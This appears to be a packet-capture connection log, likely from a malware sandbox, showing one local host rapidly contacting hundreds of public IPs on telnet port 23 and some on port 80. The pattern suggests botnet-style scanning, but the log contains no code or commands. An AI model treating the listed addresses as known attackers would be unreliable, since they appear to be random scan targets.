Jan 30, 2025 10:43:00.062328100 CET	63367	23	192.168.2.14	194.200.23.65
Jan 30, 2025 10:43:00.062356949 CET	63367	23	192.168.2.14	95.60.246.26
Jan 30, 2025 10:43:00.062356949 CET	63367	23	192.168.2.14	171.91.134.82
Jan 30, 2025 10:43:00.062374115 CET	63367	23	192.168.2.14	32.190.219.164
Jan 30, 2025 10:43:00.062378883 CET	63367	23	192.168.2.14	72.7.15.95
Jan 30, 2025 10:43:00.062378883 CET	63367	23	192.168.2.14	209.52.71.166
Jan 30, 2025 10:43:00.062386036 CET	63367	23	192.168.2.14	86.123.84.50
Jan 30, 2025 10:43:00.062386990 CET	63367	23	192.168.2.14	77.195.104.150
Jan 30, 2025 10:43:00.062392950 CET	63367	23	192.168.2.14	79.69.151.95
Jan 30, 2025 10:43:00.062392950 CET	63367	23	192.168.2.14	142.250.235.70
Jan 30, 2025 10:43:00.062397957 CET	63367	23	192.168.2.14	113.223.54.128
Jan 30, 2025 10:43:00.062397957 CET	63367	23	192.168.2.14	193.118.188.66
Jan 30, 2025 10:43:00.062402010 CET	63367	23	192.168.2.14	81.108.185.6
Jan 30, 2025 10:43:00.062414885 CET	63367	23	192.168.2.14	36.70.181.132
Jan 30, 2025 10:43:00.062414885 CET	63367	23	192.168.2.14	53.91.60.44
Jan 30, 2025 10:43:00.062417030 CET	63367	23	192.168.2.14	34.87.37.54
Jan 30, 2025 10:43:00.062427998 CET	63367	23	192.168.2.14	159.116.102.56
Jan 30, 2025 10:43:00.062439919 CET	63367	23	192.168.2.14	206.244.32.147
Jan 30, 2025 10:43:00.062439919 CET	63367	23	192.168.2.14	31.123.19.31
Jan 30, 2025 10:43:00.062448025 CET	63367	23	192.168.2.14	109.30.229.94
Jan 30, 2025 10:43:00.062448978 CET	63367	23	192.168.2.14	23.252.221.5
Jan 30, 2025 10:43:00.062458992 CET	63367	23	192.168.2.14	88.195.242.125
Jan 30, 2025 10:43:00.062463999 CET	63367	23	192.168.2.14	126.151.239.249
Jan 30, 2025 10:43:00.062477112 CET	63367	23	192.168.2.14	197.174.88.241
Jan 30, 2025 10:43:00.062480927 CET	63367	23	192.168.2.14	149.1.186.30
Jan 30, 2025 10:43:00.062486887 CET	63367	23	192.168.2.14	85.93.157.253
Jan 30, 2025 10:43:00.062489033 CET	63367	23	192.168.2.14	126.247.189.211
Jan 30, 2025 10:43:00.062494040 CET	63367	23	192.168.2.14	51.129.244.191
Jan 30, 2025 10:43:00.062516928 CET	63367	23	192.168.2.14	60.98.153.25
Jan 30, 2025 10:43:00.062532902 CET	63367	23	192.168.2.14	105.4.240.45
Jan 30, 2025 10:43:00.062537909 CET	63367	23	192.168.2.14	83.174.171.64
Jan 30, 2025 10:43:00.062552929 CET	63367	23	192.168.2.14	42.218.145.109
Jan 30, 2025 10:43:00.062555075 CET	63367	23	192.168.2.14	139.111.15.242
Jan 30, 2025 10:43:00.062560081 CET	63367	23	192.168.2.14	110.158.102.230
Jan 30, 2025 10:43:00.062567949 CET	63367	23	192.168.2.14	107.228.161.115
Jan 30, 2025 10:43:00.062575102 CET	63367	23	192.168.2.14	187.96.102.64
Jan 30, 2025 10:43:00.062575102 CET	63367	23	192.168.2.14	96.213.189.181
Jan 30, 2025 10:43:00.062585115 CET	63367	23	192.168.2.14	179.134.93.92
Jan 30, 2025 10:43:00.062593937 CET	63367	23	192.168.2.14	83.130.17.209
Jan 30, 2025 10:43:00.062632084 CET	63367	23	192.168.2.14	142.227.3.36
Jan 30, 2025 10:43:00.062635899 CET	63367	23	192.168.2.14	68.22.236.17
Jan 30, 2025 10:43:00.062648058 CET	63367	23	192.168.2.14	179.50.102.98
Jan 30, 2025 10:43:00.062648058 CET	63367	23	192.168.2.14	129.34.17.208
Jan 30, 2025 10:43:00.062664032 CET	63367	23	192.168.2.14	109.170.147.185
Jan 30, 2025 10:43:00.062666893 CET	63367	23	192.168.2.14	73.44.201.218
Jan 30, 2025 10:43:00.062666893 CET	63367	23	192.168.2.14	84.9.216.1
Jan 30, 2025 10:43:00.062680006 CET	63367	23	192.168.2.14	62.254.181.122
Jan 30, 2025 10:43:00.062691927 CET	63367	23	192.168.2.14	161.112.210.216
Jan 30, 2025 10:43:00.062730074 CET	63367	23	192.168.2.14	93.179.205.231
Jan 30, 2025 10:43:00.062731981 CET	63367	23	192.168.2.14	188.28.141.10
Jan 30, 2025 10:43:00.062747002 CET	63367	23	192.168.2.14	175.68.44.121
Jan 30, 2025 10:43:00.062747002 CET	63367	23	192.168.2.14	167.192.234.66
Jan 30, 2025 10:43:00.062751055 CET	63367	23	192.168.2.14	192.173.4.247
Jan 30, 2025 10:43:00.062757969 CET	63367	23	192.168.2.14	50.68.196.123
Jan 30, 2025 10:43:00.062787056 CET	63367	23	192.168.2.14	82.54.241.55
Jan 30, 2025 10:43:00.062789917 CET	63367	23	192.168.2.14	155.208.19.251
Jan 30, 2025 10:43:00.062800884 CET	63367	23	192.168.2.14	132.246.186.50
Jan 30, 2025 10:43:00.062807083 CET	63367	23	192.168.2.14	188.103.217.227
Jan 30, 2025 10:43:00.062817097 CET	63367	23	192.168.2.14	67.245.113.227
Jan 30, 2025 10:43:00.062820911 CET	63367	23	192.168.2.14	211.201.155.223
Jan 30, 2025 10:43:00.062830925 CET	63367	23	192.168.2.14	102.44.15.100
Jan 30, 2025 10:43:00.062866926 CET	63367	23	192.168.2.14	197.114.200.231
Jan 30, 2025 10:43:00.062870979 CET	63367	23	192.168.2.14	43.82.44.71
Jan 30, 2025 10:43:00.065062046 CET	23	63367	63.236.222.92	192.168.2.14
Jan 30, 2025 10:43:00.065085888 CET	23	63367	114.144.107.189	192.168.2.14
Jan 30, 2025 10:43:00.065097094 CET	23	63367	131.40.175.45	192.168.2.14
Jan 30, 2025 10:43:00.065109968 CET	23	63367	63.17.153.24	192.168.2.14
Jan 30, 2025 10:43:00.065129042 CET	23	63367	13.23.33.188	192.168.2.14
Jan 30, 2025 10:43:00.065140009 CET	23	63367	93.103.22.131	192.168.2.14
Jan 30, 2025 10:43:00.065150023 CET	23	63367	191.61.220.78	192.168.2.14
Jan 30, 2025 10:43:00.065151930 CET	63367	23	192.168.2.14	63.236.222.92
Jan 30, 2025 10:43:00.065156937 CET	63367	23	192.168.2.14	63.17.153.24
Jan 30, 2025 10:43:00.065151930 CET	63367	23	192.168.2.14	131.40.175.45
Jan 30, 2025 10:43:00.065160036 CET	63367	23	192.168.2.14	114.144.107.189
Jan 30, 2025 10:43:00.065160036 CET	63367	23	192.168.2.14	13.23.33.188
Jan 30, 2025 10:43:00.065160990 CET	23	63367	78.250.37.250	192.168.2.14
Jan 30, 2025 10:43:00.065167904 CET	63367	23	192.168.2.14	93.103.22.131
Jan 30, 2025 10:43:00.065172911 CET	23	63367	121.42.70.33	192.168.2.14
Jan 30, 2025 10:43:00.065177917 CET	23	63367	32.131.87.5	192.168.2.14
Jan 30, 2025 10:43:00.065182924 CET	23	63367	148.138.143.58	192.168.2.14
Jan 30, 2025 10:43:00.065186977 CET	63367	23	192.168.2.14	191.61.220.78
Jan 30, 2025 10:43:00.065197945 CET	23	63367	171.199.5.179	192.168.2.14
Jan 30, 2025 10:43:00.065198898 CET	63367	23	192.168.2.14	78.250.37.250
Jan 30, 2025 10:43:00.065212011 CET	23	63367	175.157.72.124	192.168.2.14
Jan 30, 2025 10:43:00.065229893 CET	23	63367	114.107.59.138	192.168.2.14
Jan 30, 2025 10:43:00.065234900 CET	63367	23	192.168.2.14	171.199.5.179
Jan 30, 2025 10:43:00.065234900 CET	63367	23	192.168.2.14	32.131.87.5
Jan 30, 2025 10:43:00.065237999 CET	63367	23	192.168.2.14	121.42.70.33
Jan 30, 2025 10:43:00.065237999 CET	63367	23	192.168.2.14	148.138.143.58
Jan 30, 2025 10:43:00.065241098 CET	23	63367	65.230.203.210	192.168.2.14
Jan 30, 2025 10:43:00.065258026 CET	63367	23	192.168.2.14	114.107.59.138
Jan 30, 2025 10:43:00.065259933 CET	23	63367	83.94.101.213	192.168.2.14
Jan 30, 2025 10:43:00.065259933 CET	63367	23	192.168.2.14	175.157.72.124
Jan 30, 2025 10:43:00.065270901 CET	23	63367	139.125.75.115	192.168.2.14
Jan 30, 2025 10:43:00.065277100 CET	63367	23	192.168.2.14	65.230.203.210
Jan 30, 2025 10:43:00.065282106 CET	23	63367	208.70.116.180	192.168.2.14
Jan 30, 2025 10:43:00.065295935 CET	23	63367	98.129.111.121	192.168.2.14
Jan 30, 2025 10:43:00.065295935 CET	63367	23	192.168.2.14	83.94.101.213
Jan 30, 2025 10:43:00.065306902 CET	23	63367	189.136.23.227	192.168.2.14
Jan 30, 2025 10:43:00.065310955 CET	63367	23	192.168.2.14	208.70.116.180
Jan 30, 2025 10:43:00.065313101 CET	63367	23	192.168.2.14	139.125.75.115
Jan 30, 2025 10:43:00.065346956 CET	63367	23	192.168.2.14	98.129.111.121
Jan 30, 2025 10:43:00.065349102 CET	63367	23	192.168.2.14	189.136.23.227
Jan 30, 2025 10:43:00.065602064 CET	23	63367	201.14.251.215	192.168.2.14
Jan 30, 2025 10:43:00.065613985 CET	23	63367	177.13.66.45	192.168.2.14
Jan 30, 2025 10:43:00.065624952 CET	23	63367	148.84.227.221	192.168.2.14
Jan 30, 2025 10:43:00.065634966 CET	63367	23	192.168.2.14	201.14.251.215
Jan 30, 2025 10:43:00.065637112 CET	23	63367	206.159.111.112	192.168.2.14
Jan 30, 2025 10:43:00.065644026 CET	63367	23	192.168.2.14	177.13.66.45
Jan 30, 2025 10:43:00.065656900 CET	63367	23	192.168.2.14	148.84.227.221
Jan 30, 2025 10:43:00.065661907 CET	23	63367	64.232.210.105	192.168.2.14
Jan 30, 2025 10:43:00.065673113 CET	23	63367	17.219.24.178	192.168.2.14
Jan 30, 2025 10:43:00.065675974 CET	63367	23	192.168.2.14	206.159.111.112
Jan 30, 2025 10:43:00.065685987 CET	23	63367	53.8.92.217	192.168.2.14
Jan 30, 2025 10:43:00.065696955 CET	23	63367	31.81.69.81	192.168.2.14
Jan 30, 2025 10:43:00.065700054 CET	63367	23	192.168.2.14	64.232.210.105
Jan 30, 2025 10:43:00.065706968 CET	23	63367	67.232.47.220	192.168.2.14
Jan 30, 2025 10:43:00.065707922 CET	63367	23	192.168.2.14	17.219.24.178
Jan 30, 2025 10:43:00.065718889 CET	23	63367	99.125.97.72	192.168.2.14
Jan 30, 2025 10:43:00.065723896 CET	63367	23	192.168.2.14	53.8.92.217
Jan 30, 2025 10:43:00.065730095 CET	23	63367	157.218.194.211	192.168.2.14
Jan 30, 2025 10:43:00.065731049 CET	63367	23	192.168.2.14	31.81.69.81
Jan 30, 2025 10:43:00.065742016 CET	23	63367	138.66.125.96	192.168.2.14
Jan 30, 2025 10:43:00.065747023 CET	63367	23	192.168.2.14	67.232.47.220
Jan 30, 2025 10:43:00.065752029 CET	23	63367	126.156.219.49	192.168.2.14
Jan 30, 2025 10:43:00.065756083 CET	63367	23	192.168.2.14	99.125.97.72
Jan 30, 2025 10:43:00.065763950 CET	23	63367	170.117.69.61	192.168.2.14
Jan 30, 2025 10:43:00.065764904 CET	63367	23	192.168.2.14	157.218.194.211
Jan 30, 2025 10:43:00.065776110 CET	63367	23	192.168.2.14	138.66.125.96
Jan 30, 2025 10:43:00.065783024 CET	63367	23	192.168.2.14	126.156.219.49
Jan 30, 2025 10:43:00.065788031 CET	23	63367	216.211.64.15	192.168.2.14
Jan 30, 2025 10:43:00.065793991 CET	63367	23	192.168.2.14	170.117.69.61
Jan 30, 2025 10:43:00.065798044 CET	23	63367	50.111.252.230	192.168.2.14
Jan 30, 2025 10:43:00.065809965 CET	23	63367	38.41.60.178	192.168.2.14
Jan 30, 2025 10:43:00.065820932 CET	23	63367	189.240.24.88	192.168.2.14
Jan 30, 2025 10:43:00.065824986 CET	63367	23	192.168.2.14	216.211.64.15
Jan 30, 2025 10:43:00.065830946 CET	63367	23	192.168.2.14	50.111.252.230
Jan 30, 2025 10:43:00.065831900 CET	23	63367	131.167.255.94	192.168.2.14
Jan 30, 2025 10:43:00.065843105 CET	23	63367	179.85.109.143	192.168.2.14
Jan 30, 2025 10:43:00.065849066 CET	63367	23	192.168.2.14	38.41.60.178
Jan 30, 2025 10:43:00.065853119 CET	23	63367	163.171.65.239	192.168.2.14
Jan 30, 2025 10:43:00.065853119 CET	63367	23	192.168.2.14	189.240.24.88
Jan 30, 2025 10:43:00.065865040 CET	63367	23	192.168.2.14	179.85.109.143
Jan 30, 2025 10:43:00.065903902 CET	23	63367	27.82.232.179	192.168.2.14
Jan 30, 2025 10:43:00.065903902 CET	63367	23	192.168.2.14	131.167.255.94
Jan 30, 2025 10:43:00.065917015 CET	23	63367	81.208.180.164	192.168.2.14
Jan 30, 2025 10:43:00.065928936 CET	23	63367	204.33.42.126	192.168.2.14
Jan 30, 2025 10:43:00.065929890 CET	63367	23	192.168.2.14	163.171.65.239
Jan 30, 2025 10:43:00.065938950 CET	63367	23	192.168.2.14	27.82.232.179
Jan 30, 2025 10:43:00.065939903 CET	23	63367	141.43.198.91	192.168.2.14
Jan 30, 2025 10:43:00.065953016 CET	23	63367	158.101.166.46	192.168.2.14
Jan 30, 2025 10:43:00.065956116 CET	63367	23	192.168.2.14	81.208.180.164
Jan 30, 2025 10:43:00.065964937 CET	63367	23	192.168.2.14	204.33.42.126
Jan 30, 2025 10:43:00.065968037 CET	23	63367	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:00.065973043 CET	63367	23	192.168.2.14	141.43.198.91
Jan 30, 2025 10:43:00.065979958 CET	23	63367	37.110.212.212	192.168.2.14
Jan 30, 2025 10:43:00.065985918 CET	63367	23	192.168.2.14	158.101.166.46
Jan 30, 2025 10:43:00.065998077 CET	63367	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:00.066016912 CET	63367	23	192.168.2.14	37.110.212.212
Jan 30, 2025 10:43:00.066284895 CET	23	63367	168.29.44.220	192.168.2.14
Jan 30, 2025 10:43:00.066297054 CET	23	63367	102.14.142.93	192.168.2.14
Jan 30, 2025 10:43:00.066307068 CET	23	63367	13.176.144.13	192.168.2.14
Jan 30, 2025 10:43:00.066318035 CET	23	63367	145.96.18.189	192.168.2.14
Jan 30, 2025 10:43:00.066323042 CET	63367	23	192.168.2.14	168.29.44.220
Jan 30, 2025 10:43:00.066327095 CET	23	63367	2.158.46.248	192.168.2.14
Jan 30, 2025 10:43:00.066333055 CET	63367	23	192.168.2.14	102.14.142.93
Jan 30, 2025 10:43:00.066339016 CET	23	63367	107.154.166.22	192.168.2.14
Jan 30, 2025 10:43:00.066343069 CET	63367	23	192.168.2.14	145.96.18.189
Jan 30, 2025 10:43:00.066349030 CET	23	63367	90.176.6.100	192.168.2.14
Jan 30, 2025 10:43:00.066356897 CET	63367	23	192.168.2.14	13.176.144.13
Jan 30, 2025 10:43:00.066360950 CET	23	63367	124.163.5.175	192.168.2.14
Jan 30, 2025 10:43:00.066361904 CET	63367	23	192.168.2.14	2.158.46.248
Jan 30, 2025 10:43:00.066365004 CET	63367	23	192.168.2.14	107.154.166.22
Jan 30, 2025 10:43:00.066371918 CET	23	63367	156.212.20.48	192.168.2.14
Jan 30, 2025 10:43:00.066386938 CET	23	63367	158.202.88.176	192.168.2.14
Jan 30, 2025 10:43:00.066389084 CET	63367	23	192.168.2.14	90.176.6.100
Jan 30, 2025 10:43:00.066394091 CET	63367	23	192.168.2.14	124.163.5.175
Jan 30, 2025 10:43:00.066400051 CET	23	63367	117.102.71.90	192.168.2.14
Jan 30, 2025 10:43:00.066406965 CET	63367	23	192.168.2.14	156.212.20.48
Jan 30, 2025 10:43:00.066411972 CET	23	63367	186.64.96.58	192.168.2.14
Jan 30, 2025 10:43:00.066422939 CET	23	63367	76.42.13.152	192.168.2.14
Jan 30, 2025 10:43:00.066427946 CET	63367	23	192.168.2.14	158.202.88.176
Jan 30, 2025 10:43:00.066431046 CET	63367	23	192.168.2.14	117.102.71.90
Jan 30, 2025 10:43:00.066435099 CET	23	63367	131.189.41.63	192.168.2.14
Jan 30, 2025 10:43:00.066446066 CET	23	63367	118.212.248.36	192.168.2.14
Jan 30, 2025 10:43:00.066453934 CET	63367	23	192.168.2.14	186.64.96.58
Jan 30, 2025 10:43:00.066456079 CET	23	63367	213.230.220.243	192.168.2.14
Jan 30, 2025 10:43:00.066461086 CET	63367	23	192.168.2.14	76.42.13.152
Jan 30, 2025 10:43:00.066467047 CET	63367	23	192.168.2.14	131.189.41.63
Jan 30, 2025 10:43:00.066473007 CET	23	63367	196.151.125.165	192.168.2.14
Jan 30, 2025 10:43:00.066478968 CET	63367	23	192.168.2.14	118.212.248.36
Jan 30, 2025 10:43:00.066484928 CET	63367	23	192.168.2.14	213.230.220.243
Jan 30, 2025 10:43:00.066493988 CET	23	63367	91.18.163.105	192.168.2.14
Jan 30, 2025 10:43:00.066504955 CET	23	63367	75.96.84.108	192.168.2.14
Jan 30, 2025 10:43:00.066510916 CET	63367	23	192.168.2.14	196.151.125.165
Jan 30, 2025 10:43:00.066514969 CET	23	63367	87.216.141.205	192.168.2.14
Jan 30, 2025 10:43:00.066520929 CET	23	63367	40.246.201.198	192.168.2.14
Jan 30, 2025 10:43:00.066533089 CET	23	63367	88.158.1.228	192.168.2.14
Jan 30, 2025 10:43:00.066540003 CET	63367	23	192.168.2.14	91.18.163.105
Jan 30, 2025 10:43:00.066540003 CET	63367	23	192.168.2.14	87.216.141.205
Jan 30, 2025 10:43:00.066541910 CET	63367	23	192.168.2.14	75.96.84.108
Jan 30, 2025 10:43:00.066544056 CET	23	63367	195.70.91.168	192.168.2.14
Jan 30, 2025 10:43:00.066555023 CET	23	63367	208.11.100.130	192.168.2.14
Jan 30, 2025 10:43:00.066565037 CET	23	63367	117.18.52.15	192.168.2.14
Jan 30, 2025 10:43:00.066569090 CET	63367	23	192.168.2.14	40.246.201.198
Jan 30, 2025 10:43:00.066569090 CET	63367	23	192.168.2.14	88.158.1.228
Jan 30, 2025 10:43:00.066575050 CET	23	63367	137.235.255.225	192.168.2.14
Jan 30, 2025 10:43:00.066580057 CET	63367	23	192.168.2.14	195.70.91.168
Jan 30, 2025 10:43:00.066586018 CET	23	63367	69.232.229.103	192.168.2.14
Jan 30, 2025 10:43:00.066596031 CET	63367	23	192.168.2.14	117.18.52.15
Jan 30, 2025 10:43:00.066596031 CET	63367	23	192.168.2.14	208.11.100.130
Jan 30, 2025 10:43:00.066607952 CET	63367	23	192.168.2.14	137.235.255.225
Jan 30, 2025 10:43:00.066616058 CET	63367	23	192.168.2.14	69.232.229.103
Jan 30, 2025 10:43:00.066834927 CET	23	63367	159.48.79.134	192.168.2.14
Jan 30, 2025 10:43:00.066845894 CET	23	63367	45.26.8.105	192.168.2.14
Jan 30, 2025 10:43:00.066855907 CET	23	63367	9.232.38.90	192.168.2.14
Jan 30, 2025 10:43:00.066867113 CET	23	63367	194.214.27.172	192.168.2.14
Jan 30, 2025 10:43:00.066874981 CET	63367	23	192.168.2.14	159.48.79.134
Jan 30, 2025 10:43:00.066875935 CET	23	63367	211.228.207.243	192.168.2.14
Jan 30, 2025 10:43:00.066876888 CET	63367	23	192.168.2.14	45.26.8.105
Jan 30, 2025 10:43:00.066888094 CET	23	63367	81.123.76.95	192.168.2.14
Jan 30, 2025 10:43:00.066900969 CET	23	63367	131.145.223.108	192.168.2.14
Jan 30, 2025 10:43:00.066903114 CET	63367	23	192.168.2.14	9.232.38.90
Jan 30, 2025 10:43:00.066904068 CET	63367	23	192.168.2.14	211.228.207.243
Jan 30, 2025 10:43:00.066904068 CET	63367	23	192.168.2.14	194.214.27.172
Jan 30, 2025 10:43:00.066911936 CET	23	63367	90.243.252.229	192.168.2.14
Jan 30, 2025 10:43:00.066911936 CET	63367	23	192.168.2.14	81.123.76.95
Jan 30, 2025 10:43:00.066931963 CET	23	63367	162.148.116.69	192.168.2.14
Jan 30, 2025 10:43:00.066934109 CET	63367	23	192.168.2.14	131.145.223.108
Jan 30, 2025 10:43:00.066943884 CET	23	63367	190.249.69.42	192.168.2.14
Jan 30, 2025 10:43:00.066948891 CET	63367	23	192.168.2.14	90.243.252.229
Jan 30, 2025 10:43:00.066953897 CET	23	63367	205.18.13.164	192.168.2.14
Jan 30, 2025 10:43:00.066967964 CET	23	63367	37.235.118.110	192.168.2.14
Jan 30, 2025 10:43:00.066967964 CET	63367	23	192.168.2.14	162.148.116.69
Jan 30, 2025 10:43:00.066973925 CET	63367	23	192.168.2.14	190.249.69.42
Jan 30, 2025 10:43:00.066977978 CET	23	63367	53.35.130.156	192.168.2.14
Jan 30, 2025 10:43:00.066991091 CET	23	63367	161.217.74.132	192.168.2.14
Jan 30, 2025 10:43:00.066996098 CET	63367	23	192.168.2.14	205.18.13.164
Jan 30, 2025 10:43:00.067002058 CET	23	63367	136.69.245.231	192.168.2.14
Jan 30, 2025 10:43:00.067003965 CET	63367	23	192.168.2.14	37.235.118.110
Jan 30, 2025 10:43:00.067013025 CET	23	63367	97.248.87.88	192.168.2.14
Jan 30, 2025 10:43:00.067017078 CET	63367	23	192.168.2.14	53.35.130.156
Jan 30, 2025 10:43:00.067023993 CET	23	63367	150.177.227.109	192.168.2.14
Jan 30, 2025 10:43:00.067023993 CET	63367	23	192.168.2.14	161.217.74.132
Jan 30, 2025 10:43:00.067033052 CET	23	63367	100.48.159.253	192.168.2.14
Jan 30, 2025 10:43:00.067045927 CET	23	63367	137.186.157.142	192.168.2.14
Jan 30, 2025 10:43:00.067045927 CET	63367	23	192.168.2.14	136.69.245.231
Jan 30, 2025 10:43:00.067045927 CET	63367	23	192.168.2.14	97.248.87.88
Jan 30, 2025 10:43:00.067048073 CET	63367	23	192.168.2.14	150.177.227.109
Jan 30, 2025 10:43:00.067068100 CET	23	63367	93.3.231.15	192.168.2.14
Jan 30, 2025 10:43:00.067073107 CET	63367	23	192.168.2.14	100.48.159.253
Jan 30, 2025 10:43:00.067080021 CET	23	63367	86.131.55.201	192.168.2.14
Jan 30, 2025 10:43:00.067086935 CET	63367	23	192.168.2.14	137.186.157.142
Jan 30, 2025 10:43:00.067092896 CET	23	63367	207.53.76.228	192.168.2.14
Jan 30, 2025 10:43:00.067102909 CET	23	63367	173.211.164.143	192.168.2.14
Jan 30, 2025 10:43:00.067106009 CET	63367	23	192.168.2.14	93.3.231.15
Jan 30, 2025 10:43:00.067115068 CET	23	63367	103.197.110.162	192.168.2.14
Jan 30, 2025 10:43:00.067117929 CET	63367	23	192.168.2.14	207.53.76.228
Jan 30, 2025 10:43:00.067121983 CET	63367	23	192.168.2.14	86.131.55.201
Jan 30, 2025 10:43:00.067127943 CET	23	63367	49.181.254.175	192.168.2.14
Jan 30, 2025 10:43:00.067138910 CET	23	63367	196.202.231.26	192.168.2.14
Jan 30, 2025 10:43:00.067147017 CET	63367	23	192.168.2.14	173.211.164.143
Jan 30, 2025 10:43:00.067150116 CET	23	63367	143.52.203.108	192.168.2.14
Jan 30, 2025 10:43:00.067150116 CET	63367	23	192.168.2.14	103.197.110.162
Jan 30, 2025 10:43:00.067157984 CET	63367	23	192.168.2.14	49.181.254.175
Jan 30, 2025 10:43:00.067159891 CET	23	63367	90.248.95.93	192.168.2.14
Jan 30, 2025 10:43:00.067178965 CET	63367	23	192.168.2.14	196.202.231.26
Jan 30, 2025 10:43:00.067181110 CET	63367	23	192.168.2.14	143.52.203.108
Jan 30, 2025 10:43:00.067182064 CET	63367	23	192.168.2.14	90.248.95.93
Jan 30, 2025 10:43:00.067240953 CET	62855	80	192.168.2.14	47.252.222.92
Jan 30, 2025 10:43:00.067281961 CET	62855	80	192.168.2.14	96.144.107.189
Jan 30, 2025 10:43:00.067281961 CET	62855	80	192.168.2.14	173.5.157.24
Jan 30, 2025 10:43:00.067295074 CET	62855	80	192.168.2.14	149.28.47.9
Jan 30, 2025 10:43:00.067296982 CET	62855	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:00.067300081 CET	62855	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:00.067329884 CET	62855	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:00.067426920 CET	23	63367	101.83.111.40	192.168.2.14
Jan 30, 2025 10:43:00.067437887 CET	23	63367	203.253.22.110	192.168.2.14
Jan 30, 2025 10:43:00.067451000 CET	23	63367	168.3.245.49	192.168.2.14
Jan 30, 2025 10:43:00.067461967 CET	23	63367	19.24.141.97	192.168.2.14
Jan 30, 2025 10:43:00.067472935 CET	23	63367	23.67.10.178	192.168.2.14
Jan 30, 2025 10:43:00.067487955 CET	63367	23	192.168.2.14	203.253.22.110
Jan 30, 2025 10:43:00.067488909 CET	63367	23	192.168.2.14	101.83.111.40
Jan 30, 2025 10:43:00.067492008 CET	23	63367	71.130.200.166	192.168.2.14
Jan 30, 2025 10:43:00.067496061 CET	63367	23	192.168.2.14	168.3.245.49
Jan 30, 2025 10:43:00.067503929 CET	23	63367	117.240.29.230	192.168.2.14
Jan 30, 2025 10:43:00.067511082 CET	63367	23	192.168.2.14	19.24.141.97
Jan 30, 2025 10:43:00.067511082 CET	63367	23	192.168.2.14	23.67.10.178
Jan 30, 2025 10:43:00.067514896 CET	23	63367	19.61.174.251	192.168.2.14
Jan 30, 2025 10:43:00.067526102 CET	23	63367	109.166.181.201	192.168.2.14
Jan 30, 2025 10:43:00.067528963 CET	63367	23	192.168.2.14	71.130.200.166
Jan 30, 2025 10:43:00.067543030 CET	62855	80	192.168.2.14	5.118.233.252
Jan 30, 2025 10:43:00.067543030 CET	63367	23	192.168.2.14	117.240.29.230
Jan 30, 2025 10:43:00.067553043 CET	62855	80	192.168.2.14	136.136.213.67
Jan 30, 2025 10:43:00.067558050 CET	63367	23	192.168.2.14	19.61.174.251
Jan 30, 2025 10:43:00.067572117 CET	23	63367	153.29.121.93	192.168.2.14
Jan 30, 2025 10:43:00.067574024 CET	63367	23	192.168.2.14	109.166.181.201
Jan 30, 2025 10:43:00.067584038 CET	23	63367	175.146.203.178	192.168.2.14
Jan 30, 2025 10:43:00.067589045 CET	62855	80	192.168.2.14	149.7.19.65
Jan 30, 2025 10:43:00.067595005 CET	23	63367	168.213.38.162	192.168.2.14
Jan 30, 2025 10:43:00.067606926 CET	23	63367	187.84.133.124	192.168.2.14
Jan 30, 2025 10:43:00.067608118 CET	63367	23	192.168.2.14	153.29.121.93
Jan 30, 2025 10:43:00.067611933 CET	63367	23	192.168.2.14	175.146.203.178
Jan 30, 2025 10:43:00.067619085 CET	23	63367	152.132.175.95	192.168.2.14
Jan 30, 2025 10:43:00.067630053 CET	23	63367	181.23.57.195	192.168.2.14
Jan 30, 2025 10:43:00.067639112 CET	23	63367	23.231.98.71	192.168.2.14
Jan 30, 2025 10:43:00.067640066 CET	63367	23	192.168.2.14	168.213.38.162
Jan 30, 2025 10:43:00.067642927 CET	63367	23	192.168.2.14	187.84.133.124
Jan 30, 2025 10:43:00.067642927 CET	62855	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:00.067652941 CET	23	63367	128.34.200.102	192.168.2.14
Jan 30, 2025 10:43:00.067668915 CET	63367	23	192.168.2.14	152.132.175.95
Jan 30, 2025 10:43:00.067672968 CET	63367	23	192.168.2.14	181.23.57.195
Jan 30, 2025 10:43:00.067673922 CET	23	63367	157.78.114.244	192.168.2.14
Jan 30, 2025 10:43:00.067677975 CET	63367	23	192.168.2.14	23.231.98.71
Jan 30, 2025 10:43:00.067679882 CET	63367	23	192.168.2.14	128.34.200.102
Jan 30, 2025 10:43:00.067684889 CET	23	63367	169.223.194.34	192.168.2.14
Jan 30, 2025 10:43:00.067697048 CET	23	63367	181.159.112.218	192.168.2.14
Jan 30, 2025 10:43:00.067706108 CET	62855	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:00.067704916 CET	62855	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:00.067708015 CET	23	63367	35.96.54.185	192.168.2.14
Jan 30, 2025 10:43:00.067708969 CET	62855	80	192.168.2.14	146.177.21.208
Jan 30, 2025 10:43:00.067708969 CET	62855	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:00.067712069 CET	63367	23	192.168.2.14	157.78.114.244
Jan 30, 2025 10:43:00.067712069 CET	63367	23	192.168.2.14	169.223.194.34
Jan 30, 2025 10:43:00.067717075 CET	62855	80	192.168.2.14	173.165.28.199
Jan 30, 2025 10:43:00.067718983 CET	23	63367	17.81.98.167	192.168.2.14
Jan 30, 2025 10:43:00.067728996 CET	23	63367	139.235.204.206	192.168.2.14
Jan 30, 2025 10:43:00.067734003 CET	63367	23	192.168.2.14	181.159.112.218
Jan 30, 2025 10:43:00.067737103 CET	63367	23	192.168.2.14	35.96.54.185
Jan 30, 2025 10:43:00.067738056 CET	62855	80	192.168.2.14	35.44.172.159
Jan 30, 2025 10:43:00.067739010 CET	62855	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:00.067739964 CET	23	63367	202.192.171.68	192.168.2.14
Jan 30, 2025 10:43:00.067744017 CET	62855	80	192.168.2.14	63.179.83.121
Jan 30, 2025 10:43:00.067751884 CET	23	63367	156.235.36.36	192.168.2.14
Jan 30, 2025 10:43:00.067754030 CET	63367	23	192.168.2.14	139.235.204.206
Jan 30, 2025 10:43:00.067761898 CET	63367	23	192.168.2.14	17.81.98.167
Jan 30, 2025 10:43:00.067766905 CET	23	63367	46.110.16.187	192.168.2.14
Jan 30, 2025 10:43:00.067770958 CET	62855	80	192.168.2.14	88.245.243.24
Jan 30, 2025 10:43:00.067770958 CET	62855	80	192.168.2.14	114.171.50.154
Jan 30, 2025 10:43:00.067770958 CET	63367	23	192.168.2.14	202.192.171.68
